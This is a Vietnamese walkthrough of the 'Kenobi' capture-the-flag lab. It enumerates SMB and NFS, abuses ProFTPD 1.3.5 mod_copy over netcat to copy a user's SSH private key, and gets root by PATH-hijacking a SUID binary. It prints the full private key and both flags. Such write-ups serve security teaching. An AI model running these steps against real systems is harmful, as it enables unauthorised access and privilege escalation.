Icon

Kenobi

Walkthrough on exploiting a Linux machine. Enumerate Samba for shares, manipulate a vulnerable version of proftpd and escalate your privileges with path variable manipulation.

November 4, 2025 July 25, 2025 Easy
Author Author Hung Nguyen Tuong

Initial Reconnaissance

Service Scanning

$ sudo nmap -sS -sV 10.10.27.133

PORT      STATE SERVICE     REASON         VERSION
21/tcp    open  ftp         syn-ack ttl 60 ProFTPD 1.3.5
22/tcp    open  ssh         syn-ack ttl 60 OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http        syn-ack ttl 60 Apache httpd 2.4.18 ((Ubuntu))
111/tcp   open  rpcbind     syn-ack ttl 60 2-4 (RPC #100000)
139/tcp   open  netbios-ssn syn-ack ttl 60 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn syn-ack ttl 60 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
2049/tcp  open  nfs         syn-ack ttl 60 2-4 (RPC #100003)
42205/tcp open  mountd      syn-ack ttl 60 1-3 (RPC #100005)
42495/tcp open  nlockmgr    syn-ack ttl 60 1-4 (RPC #100021)
51271/tcp open  mountd      syn-ack ttl 60 1-3 (RPC #100005)
58839/tcp open  mountd      syn-ack ttl 60 1-3 (RPC #100005)
Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Nmap cho chúng ta thấy những service quan trọng đang chạy như FTP, SSH, HTTP, RPC, SMB và NFS.

SMB 445

$ ls -la /usr/share/nmap/scripts/ | grep smb-enum
-rw-r--r-- 1 root root  4840 May 15 22:37 smb-enum-domains.nse
-rw-r--r-- 1 root root  5971 May 15 22:37 smb-enum-groups.nse
-rw-r--r-- 1 root root  8043 May 15 22:37 smb-enum-processes.nse
-rw-r--r-- 1 root root 27274 May 15 22:37 smb-enum-services.nse
-rw-r--r-- 1 root root 12017 May 15 22:37 smb-enum-sessions.nse
-rw-r--r-- 1 root root  6923 May 15 22:37 smb-enum-shares.nse
-rw-r--r-- 1 root root 12527 May 15 22:37 smb-enum-users.nse

Đầu tiên, với smb server, chúng ta sẽ chạy một nmap scan sử dụng các script của nó để enumerate các share và user trên server.

$ nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.27.133
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-25 10:17 +07
Nmap scan report for 10.10.27.133
Host is up (0.24s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-enum-shares:
|   account_used: guest
|   \\10.10.27.133\IPC$:
|     Type: STYPE_IPC_HIDDEN
|     Comment: IPC Service (kenobi server (Samba, Ubuntu))
|     Users: 1
|     Max Users: <unlimited>
|     Path: C:\tmp
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.27.133\anonymous:
|     Type: STYPE_DISKTREE
|     Comment:
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\home\kenobi\share
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.27.133\print$:
|     Type: STYPE_DISKTREE
|     Comment: Printer Drivers
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\var\lib\samba\printers
|     Anonymous access: <none>
|_    Current user access: <none>

Nmap done: 1 IP address (1 host up) scanned in 37.51 seconds

Khi dùng script smb-enum-shares, chúng ta thấy có 3 share, trong khi script smb-enum-users thì không đưa ra được bất kỳ thông tin nào.

Chúng ta phát hiện 2 share cho phép truy cập ẩn danh, đó là IPC$anonymous. Cả hai đều cho chúng ta quyền đọc và ghi.

Trong share anonymous, có một file tên là log.txt:

$ smbclient //10.10.27.133/anonymous
Password for [WORKGROUP\hungnt]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Sep  4 17:49:09 2019
  ..                                  D        0  Wed Sep  4 17:56:07 2019
  log.txt                             N    12237  Wed Sep  4 17:49:09 2019

                9204224 blocks of size 1024. 6877112 blocks available

Chúng ta có thể dùng smbget để download toàn bộ share theo dạng đệ quy (--recursive):

$ smbget --recursive -a smb://10.10.27.133/anonymous
Using guest user
Using guest user
smb://10.10.27.133/anonymous/log.txt
Downloaded 11.95kB in 6 seconds

Trong file log.txt, ta thấy rằng một cặp SSH public/private RSA key đã được tạo cho user kenobi, và nó được lưu tại đường dẫn /home/kenobi/.ssh/.

$ cat log.txt
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kenobi/.ssh/id_rsa):
Created directory '/home/kenobi/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kenobi/.ssh/id_rsa.
Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi
The key's randomart image is:
+---[RSA 2048]----+
|                 |
|           ..    |
|        . o. .   |
|       ..=o +.   |
|      . So.o++o. |
|  o ...+oo.Bo*o  |
| o o ..o.o+.@oo  |
|  . . . E .O+= . |
|     . .   oBo.  |
+----[SHA256]-----+

## This is a basic ProFTPD configuration file (rename it to
## 'proftpd.conf' for actual use.  It establishes a single server
## and a single anonymous login.  It assumes that you have a user/group
## "nobody" and "ftp" for normal operation and anon.

ServerName                      "ProFTPD Default Installation"
ServerType                      standalone
DefaultServer                   on

## Port 21 is the standard FTP port.
Port                            21

## Don't use IPv6 support by default.
UseIPv6                         off

## Umask 022 is a good standard umask to prevent new dirs and files
## from being group and world writable.
Umask                           022
...

RPC 111

NFS 2049

Theo kết quả Nmap scan, có một dịch vụ NFS đang chạy trên port 2049 và được đăng ký với RPC Service trên port 111.

Chúng ta sử dụng 3 script của Nmap để enumerate dịch vụ NFS.

$ ls -la /usr/share/nmap/scripts/ | grep nfs-
-rw-r--r-- 1 root root 14534 May 15 22:37 nfs-ls.nse
-rw-r--r-- 1 root root  2714 May 15 22:37 nfs-showmount.nse
-rw-r--r-- 1 root root  9947 May 15 22:37 nfs-statfs.nse
$ nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.27.133
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-25 10:30 +07
Nmap scan report for 10.10.27.133
Host is up (0.23s latency).

PORT    STATE SERVICE
111/tcp open  rpcbind
| nfs-ls: Volume /var
|   access: Read Lookup NoModify NoExtend NoDelete NoExecute
| PERMISSION  UID  GID  SIZE  TIME                 FILENAME
| rwxr-xr-x   0    0    4096  2019-09-04T08:53:24  .
| rwxr-xr-x   0    0    4096  2019-09-04T12:27:33  ..
| rwxr-xr-x   0    0    4096  2019-09-04T12:09:49  backups
| rwxr-xr-x   0    0    4096  2019-09-04T10:37:44  cache
| rwxrwxrwx   0    0    4096  2019-09-04T08:43:56  crash
| rwxrwsr-x   0    50   4096  2016-04-12T20:14:23  local
| rwxrwxrwx   0    0    9     2019-09-04T08:41:33  lock
| rwxrwxr-x   0    108  4096  2019-09-04T10:37:44  log
| rwxr-xr-x   0    0    4096  2019-01-29T23:27:41  snap
| rwxr-xr-x   0    0    4096  2019-09-04T08:53:24  www
|_
| nfs-statfs:
|   Filesystem  1K-blocks  Used       Available  Use%  Maxfilesize  Maxlink
|_  /var        9204224.0  1836520.0  6877108.0  22%   16.0T        32000
| nfs-showmount:
|_  /var *

Nmap done: 1 IP address (1 host up) scanned in 6.59 seconds

Kết quả cho thấy thư mục /var có thể được truy cập công khai từ bất kỳ đâu trên Internet (/var *).

FTP 21

Phiên bản của dịch vụ FTP được xác định là ProFTPD 1.3.5, như đã phát hiện trong lần Nmap scan ban đầu. Phiên bản này tồn tại lỗ hổng Remote Code Execution thông qua module mod_copy.

image.png

Module mod_copy cho phép thực thi các lệnh SITE CPFRSITE CPTO, cho phép copy file hoặc thư mục từ bất kỳ vị trí nào trong filesystem đến bất kỳ đích nào mà không cần xác thực.

Trước đó, chúng ta đã phát hiện private SSH key của user kenobi nằm trong /home/kenobi/.ssh, và thư mục /var có thể được truy cập công khai. Vì vậy, bằng cách khai thác module mod_copy, kẻ tấn công có thể lấy được private SSH key của kenobi bằng cách copy key vào thư mục /var và sau đó truy cập vào hệ thống thông qua dịch vụ SSH.

$ nc 10.10.27.133 21

220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.27.133]
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful
QUIT
221 Goodbye.
$ sudo mkdir /mnt/kenobiNFS

$ sudo mount 10.10.27.133:/var /mnt/kenobiNFS

$ cd /mnt/kenobiNFS/

$ ls -la
total 56
drwxr-xr-x 14 root root  4096 Sep  4  2019 .
drwxr-xr-x  5 root root  4096 Jul 25 10:50 ..
drwxr-xr-x  2 root root  4096 Sep  4  2019 backups
drwxr-xr-x  9 root root  4096 Sep  4  2019 cache
drwxrwxrwt  2 root root  4096 Sep  4  2019 crash
drwxr-xr-x 40 root root  4096 Sep  4  2019 lib
drwxrwsr-x  2 root staff 4096 Apr 13  2016 local
lrwxrwxrwx  1 root root     9 Sep  4  2019 lock -> /run/lock
drwxrwxr-x 10 root _ssh  4096 Sep  4  2019 log
drwxrwsr-x  2 root mail  4096 Feb 27  2019 mail
drwxr-xr-x  2 root root  4096 Feb 27  2019 opt
lrwxrwxrwx  1 root root     4 Sep  4  2019 run -> /run
drwxr-xr-x  2 root root  4096 Jan 30  2019 snap
drwxr-xr-x  5 root root  4096 Sep  4  2019 spool
drwxrwxrwt  6 root root  4096 Jul 25  2025 tmp
drwxr-xr-x  3 root root  4096 Sep  4  2019 www

$ cd tmp

$ ls -la
total 28
drwxrwxrwt  6 root   root   4096 Jul 25  2025 .
drwxr-xr-x 14 root   root   4096 Sep  4  2019 ..
-rw-r--r--  1 hungnt hungnt 1675 Jul 25  2025 id_rsa
drwx------  3 root   root   4096 Sep  4  2019 systemd-private-2408059707bc41329243d2fc9e613f1e-systemd-timesyncd.service-a5PktM
drwx------  3 root   root   4096 Sep  4  2019 systemd-private-6f4acd341c0b40569c92cee906c3edc9-systemd-timesyncd.service-z5o4Aw
drwx------  3 root   root   4096 Jul 25 10:24 systemd-private-9ebae05d6d6f4a5aa571cd2a2e3e4953-systemd-timesyncd.service-Ad9yvT
drwx------  3 root   root   4096 Sep  4  2019 systemd-private-e69bbb0653ce4ee3bd9ae0d93d2a5806-systemd-timesyncd.service-zObUdn

$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA4PeD0e0522UEj7xlrLmN68R6iSG3HMK/aTI812CTtzM9gnXs
qpweZL+GJBB59bSG3RTPtirC3M9YNTDsuTvxw9Y/+NuUGJIq5laQZS5e2RaqI1nv
U7fXEQlJrrlWfCy9VDTlgB/KRxKerqc42aU+/BrSyYqImpN6AgoNm/s/753DEPJt
dwsr45KFJOhtaIPA4EoZAq8pKovdSFteeUHikosUQzgqvSCv1RH8ZYBTwslxSorW
y3fXs5GwjitvRnQEVTO/GZomGV8UhjrT3TKbPhiwOy5YA484Lp3ES0uxKJEnKdSt
otHFT4i1hXq6T0CvYoaEpL7zCq7udl7KcZ0zfwIDAQABAoIBAEDl5nc28kviVnCI
ruQnG1P6eEb7HPIFFGbqgTa4u6RL+eCa2E1XgEUcIzxgLG6/R3CbwlgQ+entPssJ
dCDztAkE06uc3JpCAHI2Yq1ttRr3ONm95hbGoBpgDYuEF/j2hx+1qsdNZHMgYfqM
bxAKZaMgsdJGTqYZCUdxUv++eXFMDTTw/h2SCAuPE2Nb1f1537w/UQbB5HwZfVry
tRHknh1hfcjh4ZD5x5Bta/THjjsZo1kb/UuX41TKDFE/6+Eq+G9AvWNC2LJ6My36
YfeRs89A1Pc2XD08LoglPxzR7Hox36VOGD+95STWsBViMlk2lJ5IzU9XVIt3EnCl
bUI7DNECgYEA8ZymxvRV7yvDHHLjw5Vj/puVIQnKtadmE9H9UtfGV8gI/NddE66e
t8uIhiydcxE/u8DZd+mPt1RMU9GeUT5WxZ8MpO0UPVPIRiSBHnyu+0tolZSLqVul
rwT/nMDCJGQNaSOb2kq+Y3DJBHhlOeTsxAi2YEwrK9hPFQ5btlQichMCgYEA7l0c
dd1mwrjZ51lWWXvQzOH0PZH/diqXiTgwD6F1sUYPAc4qZ79blloeIhrVIj+isvtq
mgG2GD0TWueNnddGafwIp3USIxZOcw+e5hHmxy0KHpqstbPZc99IUQ5UBQHZYCvl
SR+ANdNuWpRTD6gWeVqNVni9wXjKhiKM17p3RmUCgYEAp6dwAvZg+wl+5irC6WCs
dmw3WymUQ+DY8D/ybJ3Vv+vKcMhwicvNzvOo1JH433PEqd/0B0VGuIwCOtdl6DI9
u/vVpkvsk3Gjsyh5gFI8iZuWAtWE5Av4OC5bwMXw8ZeLxr0y1JKw8ge9NSDl/Pph
YNY61y+DdXUvywifkzFmhYkCgYB6TeZbh9XBVg3gyhMnaQNzDQFAUlhM7n/Alcb7
TjJQWo06tOlHQIWi+Ox7PV9c6l/2DFDfYr9nYnc67pLYiWwE16AtJEHBJSHtofc7
P7Y1PqPxnhW+SeDqtoepp3tu8kryMLO+OF6Vv73g1jhkUS/u5oqc8ukSi4MHHlU8
H94xjQKBgExhzreYXCjK9FswXhUU9avijJkoAsSbIybRzq1YnX0gSewY/SB2xPjF
S40wzYviRHr/h0TOOzXzX8VMAQx5XnhZ5C/WMhb0cMErK8z+jvDavEpkMUlR+dWf
Py/CLlDCU4e+49XBAPKEmY4DuN+J2Em/tCz7dzfCNS/mpsSEn0jo
-----END RSA PRIVATE KEY-----

$ cp /mnt/kenobiNFS/tmp/id_rsa ~/Desktop/

$ cd ~/Desktop/

$ chmod 400 id_rsa

Shell as kenobi

Chúng ta có được initial access vào hệ thống thông qua dịch vụ SSH bằng cách sử dụng private SSH key bị lộ của user kenobi.

$ ssh -i id_rsa kenobi@10.10.27.133
The authenticity of host '10.10.27.133 (10.10.27.133)' can't be established.
ED25519 key fingerprint is SHA256:GXu1mgqL0Wk2ZHPmEUVIS0hvusx4hk33iTcwNKPktFw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.27.133' (ED25519) to the list of known hosts.
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.8.0-58-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

103 packages can be updated.
65 updates are security updates.

Last login: Wed Sep  4 07:10:15 2019 from 192.168.1.147
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

kenobi@kenobi:~$ id
uid=1000(kenobi) gid=1000(kenobi) groups=1000(kenobi),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(sambashare)

user.txt

kenobi@kenobi:~$ ls -la
total 40
drwxr-xr-x 5 kenobi kenobi 4096 Sep  4  2019 .
drwxr-xr-x 3 root   root   4096 Sep  4  2019 ..
lrwxrwxrwx 1 root   root      9 Sep  4  2019 .bash_history -> /dev/null
-rw-r--r-- 1 kenobi kenobi  220 Sep  4  2019 .bash_logout
-rw-r--r-- 1 kenobi kenobi 3771 Sep  4  2019 .bashrc
drwx------ 2 kenobi kenobi 4096 Sep  4  2019 .cache
-rw-r--r-- 1 kenobi kenobi  655 Sep  4  2019 .profile
drwxr-xr-x 2 kenobi kenobi 4096 Sep  4  2019 share
drwx------ 2 kenobi kenobi 4096 Sep  4  2019 .ssh
-rw-rw-r-- 1 kenobi kenobi   33 Sep  4  2019 user.txt
-rw------- 1 kenobi kenobi  642 Sep  4  2019 .viminfo
kenobi@kenobi:~$ cat user.txt
d0b0f3f53b6caa532a83915e19224899

Shell as root

Tại đây, chúng ta phát hiện một binary đáng ngờ có tên menu với permission SUID được bật.

image.png

Chúng ta cùng kiểm tra hành vi của nó.

kenobi@kenobi:~$ which menu
/usr/bin/menu
kenobi@kenobi:~$ menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
HTTP/1.1 200 OK
Date: Fri, 25 Jul 2025 04:16:55 GMT
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Wed, 04 Sep 2019 09:07:20 GMT
ETag: "c8-591b6884b6ed2"
Accept-Ranges: bytes
Content-Length: 200
Vary: Accept-Encoding
Content-Type: text/html

Binary này được thiết kế để thực thi một trong ba lệnh hệ thống, tùy thuộc vào lựa chọn nhập vào của user. Các lệnh hệ thống đó là:

kenobi@kenobi:~$ strings /usr/bin/menu | grep -e curl -e wget -e uname -e ifconfig
3. ifconfig
curl -I localhost
uname -r
ifconfig

Vì không có lệnh nào được gọi bằng absolute path, nên các binary này dễ bị tấn công bằng kỹ thuật gọi là Binary Hijacking. Kỹ thuật này cho phép kẻ tấn công thực thi code tùy ý bằng cách tạo một binary độc hại có cùng tên với binary hợp pháp và đặt nó trong một thư mục mà họ kiểm soát, sau đó chỉnh sửa biến môi trường PATH để thư mục này nằm ở đầu tiên. Khi đó, hệ thống sẽ chạy binary có trong đường dẫn xuất hiện đầu tiên, tức là binary giả mạo của kẻ tấn công sẽ được thực thi thay vì binary gốc.

kenobi@kenobi:~$ echo /bin/bash > curl
kenobi@kenobi:~$ chmod +x curl
kenobi@kenobi:~$ export PATH=$PWD:$PATH
kenobi@kenobi:~$ ls -la
total 44
drwxr-xr-x 5 kenobi kenobi 4096 Jul 24 23:19 .
drwxr-xr-x 3 root   root   4096 Sep  4  2019 ..
lrwxrwxrwx 1 root   root      9 Sep  4  2019 .bash_history -> /dev/null
-rw-r--r-- 1 kenobi kenobi  220 Sep  4  2019 .bash_logout
-rw-r--r-- 1 kenobi kenobi 3771 Sep  4  2019 .bashrc
drwx------ 2 kenobi kenobi 4096 Sep  4  2019 .cache
-rwxrwxr-x 1 kenobi kenobi   10 Jul 24 23:19 curl
-rw-r--r-- 1 kenobi kenobi  655 Sep  4  2019 .profile
drwxr-xr-x 2 kenobi kenobi 4096 Sep  4  2019 share
drwx------ 2 kenobi kenobi 4096 Sep  4  2019 .ssh
-rw-rw-r-- 1 kenobi kenobi   33 Sep  4  2019 user.txt
-rw------- 1 kenobi kenobi  642 Sep  4  2019 .viminfo
kenobi@kenobi:~$ echo $PATH
/home/kenobi:/home/kenobi/bin:/home/kenobi/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
kenobi@kenobi:~$ menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@kenobi:~# id
uid=0(root) gid=1000(kenobi) groups=1000(kenobi),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(sambashare)

root.txt

root@kenobi:~# cd /root
root@kenobi:/root# ls
root.txt
root@kenobi:/root# cat root.txt
177b3cd8562289f37382721c28381f02